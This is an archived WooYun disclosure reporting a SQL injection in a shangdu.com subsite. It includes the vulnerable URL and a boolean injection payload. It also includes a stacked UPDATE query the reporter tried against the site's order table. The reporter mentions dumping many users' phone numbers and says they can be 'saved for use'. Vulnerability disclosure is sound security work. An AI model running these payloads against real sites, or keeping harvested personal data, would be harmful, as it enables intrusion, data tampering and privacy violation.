破壳企业应急安全(防御方向)课程 应急响应 勒索病毒 挖矿木马 DDOS 日志分析

商都网分站SQL注入一枚可获取大量用户数据

编号36120
Urlhttp://www.wooyun.org/bug.php?action=view&id=36120
漏洞状态厂商已经确认
漏洞标题商都网分站SQL注入一枚可获取大量用户数据
漏洞类型SQL注射漏洞
厂商shangdu.com
白帽子jeary
提交日期2013-09-09 14:41:00
公开日期2013-10-24 14:42:00
修复时间(not set)
确认时间2013-09-10 00:00:00
Confirm Spend1
漏洞标签asp+sqlserver注射
关注数0
收藏数0
白帽评级
白帽自评rank10
厂商评级
厂商评rank8
漏洞简介
注射,可脱。
漏洞细节

注入点:com.shangdu.com/Product.aspx?productid=100000
com.shangdu.com/Product.aspx?productid=100000'单引号,错误出来。
然后就开始跑数据了。。

2.jpg

貌似可以跨库。
已跑出大量手机号码(可以存起来用。)

3.jpg


经验不足,一开始一直构造不好语句
后来发现,需要这样:'and exists (select * from sysfiles) and "='
本来想改下数据库
com.shangdu.com/Product.aspx?productid=100000';UPDATE SW_Orders set Phone='15981804623' where CreateTime='20130811104414' and ModelName='jeary' and Phone='00000000000' and Price='0.01' and ''='
可能是因为没有权限吧。
提权不熟,就不拿shell了。

POC

见详细。

修复方案

我不懂。

状态信息 2013-09-09: 细节已通知厂商并且等待厂商处理中
2013-09-10: 厂商已经确认,细节仅向厂商公开
2013-09-20: 细节向核心白帽子及相关领域专家公开
2013-09-30: 细节向普通白帽子公开
2013-10-10: 细节向实习白帽子公开
2013-10-24: 细节向公众公开
厂商回复感谢@jeary帮助我们发现问题,这个漏洞产生原因系技术员疏忽所至,以后会加强监管。漏洞已经确认,并走修复流程。
回应信息危害等级:中漏洞Rank:8 确认时间:2013-09-10 14:57